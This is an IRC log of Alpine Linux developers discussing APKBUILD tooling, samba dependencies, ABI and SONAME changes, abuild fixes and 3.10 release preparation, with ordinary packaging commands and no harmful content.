2019-04-29 10:39:17 <tcely> I've always found ( . APKBUILD && printf -- '%s\n' "$source" | grep '://' ) useful, but I don't use it often enough to have created an alias or anything
2019-04-29 10:41:05 <ncopa> _ikke_: fables does work on apk-tools. I do abuild
2019-04-29 10:41:54 <ncopa> tcely: when i look for new versions from upstream site
2019-04-29 10:42:38 <ncopa> if i for example have APKBUILD open for some reason, and think that I should check if there is new version upstream while at it
2019-04-29 10:42:53 <ncopa> or if abuild fetch gives 404
2019-04-29 10:51:59 <tcely> apkbuild_source_urls() {( . "${1:+${1%/APKBUILD}/}"APKBUILD && printf -- '\t%s\n' "$source" | grep '://' )}
2019-04-29 10:53:02 <ncopa> tcely: so my thinking is: respect whatever the person who does the work prefers
2019-04-29 10:53:23 <ncopa> some of those things are a question of taste
2019-04-29 10:53:29 <ncopa> and does not matter that much
2019-04-29 10:53:56 <tcely> I'm not disrespecting, I just didn't have the same need and offered a solution that might help.
2019-04-29 10:54:23 <ncopa> and if the person who does the actual work likes one way over the other, why bother
2019-04-29 10:54:24 <_ikke_> ncopa: ah
2019-04-29 10:54:47 <ncopa> tcely: thanks for you suggestion
2019-04-29 10:54:52 <ncopa> i doubt i will use it
2019-04-29 10:55:05 <ncopa> i am aware of ( . ./APKBUILD; ....)
2019-04-29 10:55:37 <ncopa> i just seldom do that whem I have an APKBUILD open
2019-04-29 10:56:08 <ncopa> i also prefer tabs over spaces
2019-04-29 10:56:24 <tcely> my thinking was to drop a function like that in your shell config so that you could (from vi) use :!apkbuild_source_urls %
2019-04-29 10:57:00 <_ikke_> In what case do you need that?
2019-04-29 10:57:19 <tcely> _ikke_: as I said, I didn't have a case, but ncopa said he does
2019-04-29 10:57:58 <ncopa> to work around my current workflow so DRY could be strictly applied everywhere
2019-04-29 10:58:16 <ncopa> i know there are ways to work around it
2019-04-29 10:58:29 <ncopa> and i could probably configure my environment to have a shortcut key
2019-04-29 10:58:37 <ncopa> or magic corner for mouse
2019-04-29 10:58:43 <ncopa> or whatever
2019-04-29 10:58:54 <ncopa> but I often change the environment I wrk from
2019-04-29 10:59:04 <ncopa> currently I work from my laptop
2019-04-29 10:59:23 <ncopa> sometimes i work from busybox vi (instead of vim)
2019-04-29 11:00:03 <ncopa> so I tend to prefer not depend on too much customization in my work env
2019-04-29 11:00:37 <ncopa> but sure, i understand and respect that not everyone agrees with me
2019-04-29 11:00:54 <ncopa> and that there are other ways to work
2019-04-29 12:00:43 <tcely> fcolista: dnsrecon could have benefited from review. those two commit messages left me very confused
2019-04-29 12:13:05 <tmhoang> is CONFIG_DEBUG enough to build busybox with debugging option ?
2019-04-29 12:19:50 <fcolista> tcely, it was a mistake
2019-04-29 12:20:11 <fcolista> abump immedatedly commit
2019-04-29 12:20:26 <fcolista> i was interrupted and added the !check option
2019-04-29 12:20:40 <fcolista> forgot that it was already commited
2019-04-29 12:20:45 <fcolista> *committed
2019-04-29 12:27:30 <tcely> would working on a feature branch be a better plan?
2019-04-29 12:55:26 <kr0k0> Hi guys
2019-04-29 12:55:59 <tcely> hi
2019-04-29 12:56:05 <north1> Hi
2019-04-29 12:56:41 <kr0k0> Sorry I ask again. Is there an easy way to let cloud.drone.io build a package from my aports fork on github? So I can check the modifications on different archs before pr.
2019-04-29 12:56:54 <kr0k0> tcely: Hi
2019-04-29 12:56:57 <kr0k0> north1: Hi
2019-04-29 12:58:49 <tcely> kr0k0: I'm not aware of one. You can create a draft PR if you are not quite ready
2019-04-29 12:59:58 <mps> what will happen if everyone say 'hi' to everyone on channel. do the math and see how it will pollute channel
2019-04-29 13:00:56 <north1> mps: 214 messages
2019-04-29 13:01:54 <kr0k0> mps: Yes, that's right ^^
2019-04-29 13:02:22 <mps> I see it as channel where we work and help each other and kind of social type 'chat', sorry for being little rude
2019-04-29 13:02:58 <mps> s/and kind/and not kind/
2019-04-29 13:02:58 <alpine-meetbot> mps meant to say: I see it as channel where we work and help each other and not kind of social type 'chat', sorry for being little rude
2019-04-29 13:03:07 <kr0k0> tcely: Ok, like "[WIP]" in front of pr line?
2019-04-29 13:03:40 <tcely> draft PRs are a GH feature, you can change the create PR button to make a draft
2019-04-29 13:03:59 <tcely> If you also want to prefix the title with [WIP] I will not complain
2019-04-29 13:05:15 <kr0k0> tcely: Ah ok, thanks! Didn't know that.
2019-04-29 13:06:10 <kr0k0> mps: np, is clear for me
2019-04-29 13:06:19 <mps> tcely: '[WIP]' or 'WIP', are there rules about this
2019-04-29 13:06:25 <tmhoang> Hi mps :)
2019-04-29 13:07:13 <tmhoang> it seems busybox has an option SKIP_STRIP in makefile
2019-04-29 13:07:22 <tmhoang> $ make SKIP_STRIP=y works for me btw
2019-04-29 13:07:29 <tcely> I like [WIP] better but I am unaware of rules regarding that
2019-04-29 13:07:58 <tcely> If I'm the one who authors the bot to handle the label for me my preference might matter, it does not currently.
2019-04-29 13:08:00 <mps> tmhoang: is SKIP_STRIP=y useful
2019-04-29 13:08:22 <tmhoang> yes, along with options="!strip" in APKBUILD
2019-04-29 13:09:28 <mps> tcely: no problem to me, just asking. we use FIX, FIXES and FIXED in commits
2019-04-29 13:09:31 <tcely> tmhoang: so APKBUILD should always set SKIP_STRIP=y then let our strip routines run or not based on options?
2019-04-29 13:10:22 <tmhoang> tcely: oh no, I just tried to debug busybox binary and wanted to know how to get/build with debugging info. Not implying we should not strip all the time.
2019-04-29 13:10:46 <tmhoang> SKIP_STRIP is busybox thing btw
2019-04-29 13:11:28 <mps> tmhoang: busybox config option?
2019-04-29 13:12:09 <tmhoang> I added : CONFIG_DEBUG=y, CONFIG_DEBUG_PESSIMIZE=y, CONFIG_NO_DEBUG_LIB is not set
2019-04-29 13:22:14 <ncopa> i think the busybox APKBUILD will add CONFIG_DEBUG=y if you run: `DEBUG=1 abuild`
2019-04-29 15:46:10 <tmhoang> some secret abuild option for busybox ? :D I dont see any 'DEBUG' word in busybox/APKBUILD
2019-04-29 15:46:59 <tmhoang> ncopa: btw, regarding the /bin/echo s390-tools the other day. I tried again with echo -n and it seems working.
2019-04-29 15:47:30 <tmhoang> not very urgent but would be nice for 3.10
2019-04-29 15:47:37 <tmhoang> (I understand you are busy these days :D)
2019-04-29 15:51:24 <north1> tmhoang: line 2630 of /usr/bin/abuild checks for DEBUG in the environment
2019-04-29 15:52:00 <tmhoang> north1: thanks! need to put abuild source on top of my pillow for good night reading
2019-04-29 16:14:31 <tmhoang> reminder : we probably need openjdk9 in community. Mentioned in alpine-devel mailing list.
2019-04-29 16:15:47 <ncopa> would be good to try move openjdk* from testing yes
2019-04-29 16:19:30 <tmhoang> it seems openjdk10,11 PR are ready
2019-04-29 18:51:27 <ncopa> _ikke_ can you please rebase https://github.com/alpinelinux/abuild/pull/52? i would like to have it pushed before we start 3.10 rebuilds
2019-04-29 18:55:15 <Cogitri> Now that https://github.com/alpinelinux/abuild/pull/66 has been merged, should -dev packages depend on the generated -static packages?
2019-04-29 18:55:58 <Cogitri> That's usually the only purpose of the -static packages (well, at least for libs that is)
2019-04-29 18:58:17 <mps> with this change, will it autogenerate -static pkg if the subpackage contains '-dev'
2019-04-29 18:58:39 <north1> mps: no
2019-04-29 18:58:56 <north1> it will warn you when you have a static archive but no $pkgname-static like with $pkgname-openrc
2019-04-29 19:00:34 <mps> aha, we will got -static only if we add $pkgname-static in subpackages, iiuc
2019-04-29 19:00:48 <north1> yes
2019-04-29 19:01:00 <mps> thanks for explanation
2019-04-29 19:01:35 <north1> https://github.com/alpinelinux/abuild/pull/66 here is the PR if you want to read it is quite small
2019-04-29 19:01:59 <ncopa> Cogitri: I think not. We will normally not need the static subpackage for -dev.
2019-04-29 19:02:21 <ncopa> if someone needs it then will have to explicitly add -static
2019-04-29 19:03:07 <Cogitri> Alright
2019-04-29 19:03:25 <ncopa> we also dont build with static libs for everything, just when requested
2019-04-29 19:03:39 <mps> north1: I opened it before asked but anyway asked to be assured ;)
2019-04-29 19:03:45 <ncopa> some static libs are *huge*
2019-04-29 19:04:40 <mps> otherwise I would criticize idea :)
2019-04-29 19:06:07 <mps> static build is ok for distributing random binaries but shared is a lot better for distributions
2019-04-29 19:07:35 <_ikke_> ncopa: ok
2019-04-29 19:12:44 <kr0k0> Hi all
2019-04-29 19:13:01 <Cogitri> Hello there
2019-04-29 19:13:01 <north1> hi
2019-04-29 19:13:10 <ncopa> mps: exactly
2019-04-29 19:13:21 <ncopa> hi kr0k0
2019-04-29 19:14:24 <kr0k0> I'm currently working on my pr7163
2019-04-29 19:15:28 <ncopa> i am working on bootstrapping the 3.10 build servers
2019-04-29 19:15:35 <kr0k0> rnalrd was asking me if dbus is strictly needed
2019-04-29 19:16:14 <kr0k0> Because the new build would have dbus-libs as dependency
2019-04-29 19:17:08 <kr0k0> I have now checked the current samba package in edge branch (4.8.11-r1) and there is also the dbus-libs dependency, but why?
2019-04-29 19:17:10 <ncopa> i think it may make sense to have it in subpackage if it is possible to use samba without dbus
2019-04-29 19:17:18 <ncopa> oh..
2019-04-29 19:17:20 <ncopa> heh
2019-04-29 19:17:42 <ncopa> try apk del dbus-libs and se what apk complains about
2019-04-29 19:17:59 <kr0k0> Yes, I thought the same ^^
2019-04-29 19:18:03 <kr0k0> ok
2019-04-29 19:18:36 <ncopa> i think its cups-libs
2019-04-29 19:18:54 <kr0k0> World updated, but the following packages are not removed due to:
2019-04-29 19:18:54 <ncopa> i woudl guess cups-libs -> avahi-libs or similar
2019-04-29 19:18:55 <kr0k0>   dbus-libs: avahi-libs cups-libs samba-common-server-libs samba-common-tools samba samba-server
2019-04-29 19:19:25 <ncopa> yup
2019-04-29 19:19:44 <ncopa> apk info -R cups-libs
2019-04-29 19:19:55 <ncopa> so:libavahi-client.so.3
2019-04-29 19:19:55 <ncopa> ...
2019-04-29 19:20:03 <ncopa> apk info -R avahi-libs
2019-04-29 19:20:06 <kr0k0> ldd /usr/sbin/smbd |grep dbus -> libdbus-1.so.3 => /usr/lib/libdbus-1.so.3 (0x7f1d7bf51000)   //this is also strange for me
2019-04-29 19:20:13 <kr0k0> ok, one moment
2019-04-29 19:20:18 <ncopa> so:libdbus-1.so.3
2019-04-29 19:20:30 <ncopa> samba depends on cups who depends on avahi who depends on dbus
2019-04-29 19:20:50 <kr0k0> yes ^^
2019-04-29 19:21:09 <kr0k0> But why is smbd binary linked to libdbus?
2019-04-29 19:21:33 <kr0k0> This is a fresh edge lxd container with "apk add samba"
2019-04-29 19:22:32 <ncopa> its not
2019-04-29 19:23:02 <ncopa> its indirectly linked via cups and avahi
2019-04-29 19:23:11 <kr0k0> Ahhh, because smbd is linked to avahi....
2019-04-29 19:23:20 <kr0k0> Yes, thanks!
2019-04-29 19:23:29 <ncopa> ldd will resolve it, but smbd is not directly linked to dbus
2019-04-29 19:23:49 <ncopa> # readelf -d /usr/sbin/smbd | tpaste
2019-04-29 19:23:49 <ncopa> http://tpaste.us/nMbv
2019-04-29 19:23:56 <kr0k0> I understand now, thank you!
2019-04-29 19:24:27 <_ikke_> ncopa: done
2019-04-29 19:24:52 <ncopa> use `readelf -d` or `scanelf --needed` to find direct linking
2019-04-29 19:25:21 <kr0k0> Ah ok
2019-04-29 19:25:55 <kr0k0> What do you think about my fixes? Are they ok?
2019-04-29 19:27:00 <ncopa> kr0k0: i havent looked closer to them
2019-04-29 19:27:25 <ncopa> btw, samba is a nightmare to do package split correct, without circular deps
2019-04-29 19:27:43 <ncopa> i remember spending 2 days once
2019-04-29 19:27:56 <kr0k0> ^^
2019-04-29 19:28:02 <kr0k0> Don't ask me.....
2019-04-29 19:28:46 <ncopa> `apk dot --errors` will generate a dot file for you, and graphviz can generate an image of it
2019-04-29 19:28:52 <kr0k0> np, the dbus topic is clarified now and snapper module is also built. This is really nice with btrfs
2019-04-29 19:28:55 <ncopa> to show circular deps
2019-04-29 19:29:08 <ncopa> ok
2019-04-29 19:29:34 <Cogitri> kr0k0: Yup, subvolumes are very nice (although I personally use ZFS)
2019-04-29 19:30:03 <kr0k0> ncopa: I have to try that, thanks!
2019-04-29 19:30:16 <ncopa> _ikke_: im doing a minor coding style change: https://tpaste.us/zBLW
2019-04-29 19:30:27 <_ikke_> yes, sure
2019-04-29 19:30:29 <kr0k0> Cogitri: Of course!
2019-04-29 19:30:43 <ncopa> we do `if ...; then` on same line
2019-04-29 19:30:50 <_ikke_> I noticed
2019-04-29 19:31:14 <ncopa> i think we need CODINGSTYLE docs in our repos
2019-04-29 19:33:26 <north1> ncopa: CODINGSTYLE for ? APKBUILD ?
2019-04-29 19:33:48 <_ikke_> In this case abuild
2019-04-29 19:34:02 <_ikke_> But we certainly need something for APKBUILDs as well
2019-04-29 19:34:15 <ncopa> both
2019-04-29 19:36:55 <north1> I made a style guide for Void Linux's template in the past https://github.com/void-linux/void-packages/pull/94/files
2019-04-29 19:38:26 <ncopa> nice!
2019-04-29 19:39:18 <north1> imo it wasnt necessary on Void since we just used xlint to enforce standards on the templates
2019-04-29 19:40:10 <ncopa> i am tempted to ask SpaceToast to do it, but it is potentially an explosive topic, and i dont want put SpaceToast in a position where she ends up start another flamewar
2019-04-29 19:40:12 <_ikke_> is that void specific?
2019-04-29 19:40:17 <_ikke_> xlint
2019-04-29 19:40:30 <Cogitri> Yup
2019-04-29 19:40:47 <north1> _ikke_: yes I have an alint I wrote based on it
2019-04-29 19:40:51 <_ikke_> I'm looking into getting linting for APKBUILDS as well
2019-04-29 19:40:55 <_ikke_> north1: ok, nice
2019-04-29 19:41:02 <_ikke_> Would be nice to get that into abuild
2019-04-29 19:41:06 <ncopa> great
2019-04-29 19:41:19 <north1> _ikke_: https://github.com/leahneukirchen/xtools/blob/master/xlint
2019-04-29 19:41:40 <_ikke_> Ok, nice
2019-04-29 19:41:45 <north1> _ikke_: https://github.com/maxice8/meltryllis/blob/master/bin/alint i run it as parts of my pre-commit hook
2019-04-29 19:41:56 <north1> if you look on the same repo as above in the alpinelinux directory it should be there
2019-04-29 19:42:08 <ncopa> we have a function in abuild called sanitycheck or similar
2019-04-29 19:42:54 <ncopa> woudl be great to run those in the CI
2019-04-29 19:43:03 <mps> I use sanitycheck regularly, except when forget it
2019-04-29 19:43:05 <_ikke_> yes, it would
2019-04-29 19:43:18 <north1> ncopa: Void has an xlint stage on travis.ci that just runs xlint on the template
2019-04-29 19:43:28 <north1> it is how we would enforce template style
2019-04-29 19:43:38 <_ikke_> Yes, that's exactly what I was planning to add
2019-04-29 19:43:43 <mps> alint will be useful
2019-04-29 19:43:45 <_ikke_> either in travis or in drone
2019-04-29 19:43:47 <ncopa> we should do the same
2019-04-29 19:44:13 <_ikke_> Would alleviate a lot of discussion
2019-04-29 19:44:14 <north1> Problem with alint is that i took the liberty of depending on GNU Grep with -P
2019-04-29 19:44:29 <ncopa> what does -P do?
2019-04-29 19:44:40 <_ikke_> pcre
2019-04-29 19:44:47 <SpaceToast> ncopa: sorry, busy at work, can you catch me up?
2019-04-29 19:44:59 <SpaceToast> (I certainly don't intend to start flame wars, those aren't productive :( )
2019-04-29 19:45:01 <north1> ncopa: Perl regex with libpcre which busybox grep does not have
2019-04-29 19:45:06 <ncopa> --perl-regexp
2019-04-29 19:45:12 <north1> it has -E but i need to fix one scan line that is super important
2019-04-29 19:45:32 <north1> this beauty here  '^(?!\s*^('"$variables"'))[^\s=-]+='
2019-04-29 19:46:11 <ncopa> SpaceToast: dont worry. We are talking about add a CODINGSTYLE doc
2019-04-29 19:46:24 <SpaceToast> ah, ok
2019-04-29 19:46:25 <_ikke_> The problem with introducing linting is that there will be a lot of violations in the beginning
2019-04-29 19:46:30 <SpaceToast> if you do make one, please tell me in #a-docs :)
2019-04-29 19:46:33 <SpaceToast> I'll need that for later!
2019-04-29 19:46:57 <ncopa> yup, its a discussion for #alpine-docs
2019-04-29 19:48:03 <ncopa> north1: i think it would make sense to write a doc first and the linter afterwards
2019-04-29 19:48:14 <_ikke_> Yes, you first need a standard
2019-04-29 19:48:39 <ncopa> hm
2019-04-29 19:48:57 <ncopa> i think our first priority now would be to get 3.10 out
2019-04-29 19:49:05 <ncopa> need to get the 3.10 builders up and running
2019-04-29 19:49:30 <ncopa> then we fix the build issues and merge all the needed PRs
2019-04-29 19:49:48 <ncopa> it woudl for example be nice to have icu in there
2019-04-29 19:49:59 <ncopa> and the samba fixes
2019-04-29 19:50:00 <ncopa> etc
2019-04-29 19:50:04 <ncopa> and openjdk
2019-04-29 19:50:24 <ncopa> we should probably not take a too big bite
2019-04-29 19:50:29 <ncopa> for 3.10
2019-04-29 19:50:42 <SpaceToast> also, looks like you were right re: gcc9
2019-04-29 19:50:45 <kr0k0> When will be the freeze for 3.10?
2019-04-29 19:50:49 <SpaceToast> "mid-april" is kind of going ^^;;
2019-04-29 19:51:33 <ncopa> the toolchain freeze should have been "yesterday#
2019-04-29 19:51:42 <ncopa> s/#/"
2019-04-29 19:51:42 <alpine-meetbot> ncopa meant to say: the toolchain freeze should have been "yesterday"
2019-04-29 19:52:03 <ncopa> but there are some PRs in abuild we probably should include
2019-04-29 19:52:04 <mps> what to about pkg which url and source are are inaccessible and have new ones, but version is not changed? change source and url and bump pkgrel, right?
2019-04-29 19:52:30 <_ikke_> mps: does the package need to be rebuilt?
2019-04-29 19:52:41 <ncopa> if you change url you need to bump pkgrel
2019-04-29 19:52:52 <_ikke_> even if the hash doesn't change?
2019-04-29 19:53:00 <_ikke_> for metadata?
2019-04-29 19:53:10 <ncopa> because apk info --webpage will show homepage
2019-04-29 19:53:30 <mps> aha, ok
2019-04-29 19:53:40 <ncopa> but if only `source` change and checksums are the same, then we dont need bump pkgrel
2019-04-29 19:54:29 <mps> url and source need to be changed, zathur-pdf-poppler is a pkg about which I talk
2019-04-29 19:54:31 <ncopa> but it may make sense to bump pkgrel even if we dont strincly need, just to verify that no unintended bugs were introduced
2019-04-29 19:55:05 <mps> zathura-pdf-poppler*
2019-04-29 19:57:14 <ncopa> tcely: i think we need to wait with the abuild changes til after 3.10. I have already bootstrapped x86 and s390x builders, and we need freeze abuild yesterday
2019-04-29 19:59:17 <tcely> ncopa: does that mean no changes to abuild made it into 3.10?
2019-04-29 20:01:25 <_ikke_> everything that was released before yesterday should've
2019-04-29 20:02:04 <ncopa> tcely: i have already merged some changes
2019-04-29 20:02:19 <ncopa> which i will probably regret....
2019-04-29 20:02:25 <ncopa> they were less intrusive
2019-04-29 20:02:30 <ncopa> less scary
2019-04-29 20:04:25 <mps> anyone with scp write access to dev.a.o is willing to trigger community/crystal snapshot to upload static tar ball there
2019-04-29 20:04:48 <ncopa> ollieparanoid[m] had some changes too, in a separate script, which were not that controversial
2019-04-29 20:05:04 <mps> I need it to upgrade crystal to 0.28.0 in canonical way
2019-04-29 20:06:12 <ncopa> pushed updated abuild
2019-04-29 20:06:17 <ncopa> i hope it works...
2019-04-29 20:06:48 <ncopa> mps: how do i do that?
2019-04-29 20:07:25 <mps> abuild snapshot, I think. last time clandemeter do that
2019-04-29 20:07:46 <mps> s/do /done/
2019-04-29 20:07:47 <alpine-meetbot> mps meant to say: abuild snapshot, I think. last time clandemeter donethat
2019-04-29 20:09:13 <ncopa> hm
2019-04-29 20:09:17 <ncopa> CRYSTAL_CONFIG_BUILD_COMMIT="e962598dec" ./bin/crystal build --verbose --target x86_64-alpine-linux-musl --link-flags=-no-pie -D preview_overflow -D compiler_rt --release --progress --threads 48 --static --link-flags="-Wl,--as-needed"  -o .build/crystal src/compiler/crystal.cr -D without_openssl -D without_zlib
2019-04-29 20:09:17 <ncopa> Invalid memory access (signal 11) at address 0x7f772066e808
2019-04-29 20:10:00 <mps> aarch64 or x86_64?
2019-04-29 20:10:06 <ncopa> x86_64
2019-04-29 20:10:39 <mps> hmm, will look again, although I tested this about week ago
2019-04-29 20:11:02 <ncopa> that was with current git
2019-04-29 20:11:11 <ncopa> do i need apply a patch first?
2019-04-29 20:11:15 <tcely> New abuild is live on edge now?
2019-04-29 20:11:24 <ncopa> tcely: should be yes
2019-04-29 20:11:37 <tcely> Great!
2019-04-29 20:12:57 <mps> abuild deps unpack prepare snapshot is complicated way, although just abuild snapshot should do all these steps
2019-04-29 20:13:11 <ncopa> kr0k0: the samba pr looks good. did you check if it breaks ABI of some of the libs and that no other packages needs to be rebuilt?
2019-04-29 20:13:29 <mps> will look this night again to see what is the problem
2019-04-29 20:16:19 <mps> ncopa: if it easier I can post ready made tar balls to be uploaded at dev.a.o, will be less hassle or give you file names in lxc container
2019-04-29 20:17:53 <mps> actually, I thought to upload them somewhere on the net (some cdn) but think it is not good idea, i.e. they should be on Alpine infrastructure
2019-04-29 20:21:12 <kr0k0> ncopa: You've got me stumped.
2019-04-29 20:21:43 <kr0k0> ncopa: I'm searching at the moment other packages which depends on samba.
2019-04-29 20:21:44 <ncopa> stumped?
2019-04-29 20:22:07 <ncopa> checkapk will give you a hint
2019-04-29 20:22:41 <kr0k0> I hope this was, what I want to say ^^
2019-04-29 20:22:44 <kr0k0> ok
2019-04-29 20:23:22 <ncopa> checkapk was run by drone ci: https://cloud.drone.io/alpinelinux/aports/2230
2019-04-29 20:23:44 <ncopa> for example:
2019-04-29 20:23:48 <ncopa> usr/lib/libwbclient.so.0
2019-04-29 20:23:49 <ncopa> 15591	-usr/lib/libwbclient.so.0.14
2019-04-29 20:23:49 <ncopa> 15593	
2019-04-29 20:23:49 <ncopa> 15592	+usr/lib/libwbclient.so.0.15
2019-04-29 20:24:14 <ncopa> the SONAME is likely libwbclient.so.0 so ABI didnt change
2019-04-29 20:25:17 <ncopa> if it would have been an update to libwbclient.so.1 then everthing linked to libwbclient.so.0 woudl have need to be rebuilt
2019-04-29 20:27:37 <ncopa> tcely: https://github.com/alpinelinux/abuild/pull/58 is a bugfix?
2019-04-29 20:29:38 <kr0k0> ok
2019-04-29 20:29:52 <tcely> ncopa: that came from a discussion on IRC about relocating srcdir outside sshfs aports. I took a look and noticed srcdir being changed by default_debug
2019-04-29 20:30:45 <tcely> s/_debug/_dbg/
2019-04-29 20:30:45 <alpine-meetbot> tcely meant to say: ncopa: that came from a discussion on IRC about relocating srcdir outside sshfs aports. I took a look and noticed srcdir being changed by default_dbg
2019-04-29 20:31:12 <ncopa> but it does not change functionality?
2019-04-29 20:31:33 <tcely> It should not
2019-04-29 20:32:06 <kr0k0> ncopa: I have looked for packages which depends on the py2 versions of talloc, tevent, tdb, ldb and samba, because of removal. But there is no package, except the mentioned.
2019-04-29 20:32:57 <ncopa> kr0k0: good. thanks
2019-04-29 20:33:02 <tcely> The only aim was to eliminate side effects in that function
2019-04-29 20:33:29 <ncopa> tcely: yeah i looked closer to it. I think we want this change
2019-04-29 20:33:58 <ncopa> tcely: do you think you could squash the commits and rebase?
2019-04-29 20:34:11 <ncopa> i normally do: git rebase -i
2019-04-29 20:34:21 <ncopa> and change the last commit to 'fixup'
2019-04-29 20:34:30 <tcely> Give me a few minutes
2019-04-29 20:34:48 <ncopa> maybe also give more details in commit message
2019-04-29 20:46:49 <tcely> ncopa: rebased
2019-04-29 20:54:35 <ncopa> tcely: and pushed to edge repo. thanks!
2019-04-29 20:54:58 <tcely> You're welcome
2019-04-29 21:12:56 <ncopa> mps: crystal passed this time and i pushed new snapshot
2019-04-29 21:17:10 <mps> on both, aarch64 and x86_64?I just finished test on x86_64 again, all went good
2019-04-29 21:17:24 <ncopa> only x86_64
2019-04-29 21:17:44 <ncopa> do you have a binary for aarch64? maybe i can upload it manually
2019-04-29 21:17:47 <mps> now I'm started to test on aarch64 again
2019-04-29 21:18:03 <mps> I have it, just moment
2019-04-29 21:18:53 <ncopa> i wonder if we could have a shared directory on the aarch server which is published over http
2019-04-29 21:18:59 <ncopa> https*
2019-04-29 21:21:00 <mps> would be useful
2019-04-29 21:21:27 <ncopa> ugh... seems like abuild broke
2019-04-29 21:21:31 <ncopa> https://build.alpinelinux.org/buildlogs/build-edge-ppc64le/main/curl/curl-7.64.1-r2.log
2019-04-29 21:22:15 <north1> line 80 has 2 option_has
2019-04-29 21:22:37 <ncopa> i need to sleep now. will have to fix it tomorrow
2019-04-29 21:23:32 <ncopa> i should have tested the functionality instead of just blindly trust that it was tested and good
2019-04-29 21:23:32 <mps> ok, good night and sweet dreams, see you tmrw
2019-04-29 21:24:03 <ncopa> thanks to everyone. i think we have done good progress today
2019-04-29 21:24:56 <kr0k0> Ciao, gn8
2019-04-29 21:27:23 <north1> https://github.com/alpinelinux/abuild/pull/68
2019-04-29 21:39:55 <tcely> Is that the only issue?
2019-04-29 21:40:33 <north1> idk just was the most glaring one
2019-04-29 21:41:45 <tcely> Ok
2019-04-29 21:47:00 <north1> But the error in the log was in the curl-dbg package
2019-04-29 21:49:54 <SpaceToast> 
ACTION sighs

2019-04-29 21:49:59 <SpaceToast> zoneminder is pretty hopelessly broken :/
2019-04-29 21:50:20 <SpaceToast> at least on alpine, but it looks like "everywhere else" too
2019-04-29 21:56:00 <north1> @ncopa i think i foudn the dbg problem
2019-04-29 21:57:49 <north1> s/foudn/found
2019-04-29 21:57:49 <alpine-meetbot> north1 meant to say: @ncopa i think i found the dbg problem
2019-04-29 22:00:36 <tcely> north1: what did you find?
2019-04-29 22:02:28 <north1> tcely: scratch that, false find
2019-04-29 22:10:22 <tcely> I need to find a quick compile that has -dbg subpackage. Any options?
2019-04-29 22:10:33 <north1> i'm doing it on linux-pam
2019-04-29 22:14:08 <tcely> well, I'm not picking rust, that is for sure. ;-)
2019-04-29 22:29:22 <tcely> ugh. trap on EXIT in runpart seems to be hitting us
2019-04-29 23:31:34 <tcely> goodness. the test actually failing is causing us problems. http://tpaste.us/Lzx6
2019-04-30 01:02:12 <tcely> pr7440
2019-04-30 01:19:30 <tcely> When anyone with push access to main wakes up please fix abuild on edge. ;-)
2019-04-30 01:20:41 <tcely> I was using shadow as my test package in case you need a good one to use
2019-04-30 06:29:45 <ncopa> morning
2019-04-30 06:29:53 <north1> ncopa: Morning
2019-04-30 06:30:25 <north1> tcely: did work on fixing the -dbg problem on abuild.in there is a PR open for it
2019-04-30 06:30:36 <Cogitri> ncopa: Morning
2019-04-30 06:30:39 <ncopa> yup, im looking at it
2019-04-30 06:34:20 <north1> Also got a misc fix for gawk-5
2019-04-30 06:58:03 <clandmeter> morning
2019-04-30 06:58:25 <north1> clandmeter: morning
2019-04-30 07:02:07 <kr0k0> morning
2019-04-30 07:04:38 <Cogitri> Morning
2019-04-30 07:10:45 <fcolista> https://bugs.alpinelinux.org/issues/10378
2019-04-30 07:11:07 <fcolista> the only way is to patch certbot to run with 1.25.1
2019-04-30 07:11:28 <fcolista> python packages with different versions hardcoded is a nightmare
2019-04-30 07:15:57 <Cogitri> Very much so
2019-04-30 07:18:38 <Cogitri> It kind of blows my mind how restrictive version constraints are with about all python packages
2019-04-30 07:20:26 <clandmeter> python starts to feel like ruby all over...
2019-04-30 07:22:10 <fcolista> clandmeter, is this an ABI change?
2019-04-30 07:22:10 <fcolista> -usr/lib/libvala-0.42.so
2019-04-30 07:22:10 <fcolista> -usr/lib/libvala-0.42.so.0
2019-04-30 07:22:10 <fcolista> -usr/lib/libvala-0.42.so.0.0.0
2019-04-30 07:22:10 <fcolista> -usr/lib/libvaladoc-0.42.so
2019-04-30 07:22:11 <fcolista> -usr/lib/libvaladoc-0.42.so.0
2019-04-30 07:22:15 <fcolista> -usr/lib/libvaladoc-0.42.so.0.0.0
2019-04-30 07:22:17 <fcolista> +usr/lib/libvala-0.44.so
2019-04-30 07:22:19 <fcolista> +usr/lib/libvala-0.44.so.0
2019-04-30 07:22:21 <fcolista> +usr/lib/libvala-0.44.so.0.0.0
2019-04-30 07:22:23 <fcolista> +usr/lib/libvaladoc-0.44.so
2019-04-30 07:22:25 <fcolista> +usr/lib/libvaladoc-0.44.so.0
2019-04-30 07:22:27 <fcolista> +usr/lib/libvaladoc-0.44.so.0.0.0
2019-04-30 07:22:32 <fcolista> (yes I should have used dpaste..)
2019-04-30 07:22:42 <north1> 1. i think yes, the numbers are before the .so.N
2019-04-30 07:23:05 <north1> 2. yes, it was quite funny seeing the lines coming out one by one as if you were copy-pasting each
2019-04-30 07:23:58 <Cogitri> Yup, vala changes ABI and stuff has to be rebuilt against it
2019-04-30 07:25:52 <clandmeter> fcolista: its spam
2019-04-30 07:25:54 <clandmeter> :p
2019-04-30 07:26:01 <clandmeter> use tpaste
2019-04-30 07:26:22 <clandmeter> ah you already noticed :)
2019-04-30 07:26:43 <clandmeter> and yes thats abi change
2019-04-30 07:27:34 <fcolista> k going to bump pkgrel
2019-04-30 07:27:35 <fcolista> thx
2019-04-30 07:27:54 <clandmeter> bump pkgrel?
2019-04-30 07:28:11 <fcolista> the  other pacakages having vala as dep
2019-04-30 07:28:18 <clandmeter> ah ok :)
2019-04-30 07:29:38 <north1> fcolista: there are some packages that have vala as a dep but don't link to it, i don't think they need to be bumped
2019-04-30 07:30:11 <Cogitri> Yup, most packages only use valac and not libvala
2019-04-30 07:30:42 <north1> so looking at depends on so:libvala might be more accurate
2019-04-30 07:41:35 <clandmeter> ncopa: abuild is broken?
2019-04-30 07:41:59 <north1> clandmeter: abuild new dbg splitfunc is broken
2019-04-30 07:45:00 <fcolista> apk search -r libvala-0.42.so
2019-04-30 07:45:04 <fcolista> right?
2019-04-30 07:45:48 <north1> I don't think that will find packages that are not installed
2019-04-30 07:46:07 <fcolista> I think so...
2019-04-30 07:47:46 <north1> Just install every package on your system :D
2019-04-30 07:48:56 <fcolista> no I mean that apk search finds packages not installed
2019-04-30 07:49:06 <fcolista> probably you are referring to apk info
2019-04-30 07:49:11 <north1> ah
2019-04-30 07:49:21 <fcolista> apk search -r looks for not installed packages.
2019-04-30 07:49:39 <north1> then it finds only xfce4-vala
2019-04-30 07:49:45 <fcolista> right
2019-04-30 07:50:02 <north1> thanks for that, will make doing revbumps much easier in the future
